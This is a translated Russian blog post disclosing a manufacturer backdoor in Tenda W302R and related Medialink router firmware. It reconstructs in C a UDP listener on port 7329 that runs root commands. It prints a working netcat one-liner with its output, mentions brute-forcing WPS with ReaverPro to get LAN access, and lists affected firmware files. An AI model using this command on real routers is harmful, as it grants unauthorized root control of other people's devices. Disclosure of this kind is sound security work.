Pull to refresh

По следам уязвимости D-Link: В беспроводных маршрутизаторах Tenda и Medialink обнаружен бэкдор

Reading time 3 min
Views 29K
Original author: Craig Heffner
Чтобы вы не думали, что D-Link является единственным поставщиком, который оставляет бэкдоры в своей продукции, вот еще один — Tenda.


После извлечения последней прошивки для беспроводного маршрутизатора Tenda W302R, Крейг Хеффнер (Craig Heffner) решил заглянуть в /bin/httpd, которая оказался GoAhead веб-сервером:
image

Но в Tenda модифицированный сервер. Непосредственно перед входом в цикл приема HTTP, основной вызов InitMfgTask порождает функцию MfgThread как отдельный поток:
image

Первый MfgThread создает сокет UDP и слушает его на порту 7329:
image

Затем поток входит в цикл recvfrom и читает 128 байт из сокета. Он слушает каждый принятый UDP-пакет, имеющий длину в 14 байт.
image

Полученный UDP пакет затем обрабатывается этим кодом:
image

Пример этого же кода на С:
memset(rx_magic_string, 0, 0x80);
memset(command_byte, 0, 0x80);
memset(command_arg, 0, 0x80);

memcpy(rx_magic_string, rx_buf, 9);
command_byte[0] = rx_buf[11];
memcpy(command_arg, rx_buf+12, rx_size-12);

// If magic string doesn't match, stop processing this packet and wait for another packet
if(strcmp(rx_magic_string, "w302r_mfg") != 0) goto outer_receive_loop;


Мы видим, что сокет ожидает пакет со следующей структурой:

struct command_packet_t
{
    char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte
    char command_byte;
    char command_arg[117];
};


Если принятый пакет начинается со строки «w302r_mfg», код затем сравнивает в заданном байте команды трех ASCII символов ('1','х' и 'е'):
image

Для простоты, пример кода на С:
switch(command_byte)
{
    case 'e':
        strcpy(tx_buf, "w302r_mfg");
        tx_size = 9;
        break;
    case '1':
        if(strstr(command_arg, "iwpriv") != NULL)
            tx_size = call_shell(command_arg, tx_buf, 0x800);
        else
            strcpy(tx_buf, "000000");
            tx_size = strlen(tx_buf);
        break;
    case 'x':
        tx_size = call_shell(command_arg, tx_buf, 0x800);
        break;
    default:
        goto outer_receive_loop;
}

sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16);
goto outer_receive_loop;


Следующие действия соответствуют тому, какой дальше будет байт:

'Е' — ping
'1 '- Позволяет запускать iwpriv-команды
'X' — позволяет выполнить любую команду от root

Если 'X' определяется как командный байт, остаток пакета после этого символа (так называемая command_arg в приведенном выше коде) передается в call_shell, которая выполняет команду через POPEN:
image

Более того, call_shell заполняет tx_buf буфер с выводом команды, которая, как мы видим из предыдущего кода C, отправляется обратно клиенту.

Зная функциональность MfgThread и структуру пакета, мы можем легко воспроизвести этот бэкдор с помощью Netcat:

$ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329
drwxr-xr-x    2 0        0            1363 webroot
drwxr-xr-x    1 0        0               0 var
drwxr-xr-x    5 0        0              43 usr
drwxr-xr-x    1 0        0               0 tmp
drwxr-xr-x    2 0        0               3 sys
drwxr-xr-x    2 0        0             569 sbin
dr-xr-xr-x   39 0        0               0 proc
drwxr-xr-x    2 0        0               3 mnt
drwxr-xr-x    1 0        0               0 media
drwxr-xr-x    4 0        0             821 lib
lrwxrwxrwx    1 0        0              11 init -> bin/busybox
drwxr-xr-x    2 0        0               3 home
drwxr-xr-x    7 0        0             154 etc_ro
drwxr-xr-x    1 0        0               0 etc
drwxr-xr-x    1 0        0               0 dev
drwxr-xr-x    2 1000     100           574 bin


Данный пакет можно отправить только из локальной сети, при этом бекдором нельзя воспользоваться из глобальной сети. Тем не менее, эксплуатируемые беспроводные сети, в которых WPS включена по умолчанию, не защищены от брутфорса. ReaverPro относительно быстро взломал брутфорсом WPS, обеспечив доступ к беспроводной сети:
image

Этот бэкдор, скорее всего впервые реализованн в Tenda в W302R, хотя он также существует в Tenda W330R, а также в аналогичных моделях, таких как Medialink MWN-WAPR150N. Все они так же уязвимы перед строкой «w302r_mfg» в UDP-пакете.

UPDATE:
Ссылка на гитхаб: ea.github.io/blog/2013/10/18/tenda-backdoor
Уязвимости подвержены следующие прошивки:

301r_v3.1.192_en.bin
W311r_W268R_H1_V3.3.6b_ost_staticR.bin
302r_v3.1.192_en.bin
V3.1.201d_W301R_2010_0709.bin
W368R_H3_V3.3.6h_EN_spi.bin
V3.1.201d_W302R_2010_0709.bin
3gr_H2_V3.3.0y_multi_02.bin
w368r_H1_V3.3.6l_EN.bin
U_W330R_V3.1.201d_tenda_en.bin
W368r_H1_V3.3.6b_ost_staticR.bin
3g611r_en_0607.bin.bin
U_W311R_W268R_H3_V3.3.6h_EN_spi.bin
U_3G611R_H2_V3.3.1e_MULTI_02.bin
US_W268RRA__H3_V3.3.6h_EN_SPI.bin
US_W311RRA__H3_V3.3.6h_EN_SPI.bin
w1500a_kfw_V1.0.1.22_en_svn6227.bin
U150M_V3.32.12_EN.bin
U300M_V3.32.12_EN.bin
U_W302RRA_V3.1.201d_EN.bin
US_N60BRV1_N60_V1.0.0.15_EN.bin
US_N6BRV1_N6_V2.0.0.2_EN.bin
U_W150M_EN_V3.33.13_SPI_EN.bin
U_W300M_EN_V3.33.13_SPI_EN.bin
U_W330R_V3.1.201f_en_onWISP.bin
W330R_V3.1.201d_EN.bin
W311R_H1_V3.3.5o.bin
w311r_H1_V3.3.5n_en.bin
US_N60BRV1_N60_V1.0.0.16_EN.bin
US_N80_W568Rbr_V1.0.1.8(4428)_en_TD.bin
W311r_H1_V3.3.6b.bin
U268R_H1_V3.3.6d_EN.bin
U311R_H1_V3.3.6d_EN.bin
U150M_RT_EN_V3.32.11.bin
U300M_RT_EN_V3.32.11.bin
Tags:
Hubs:
+57
Comments 34
Comments Comments 34

Articles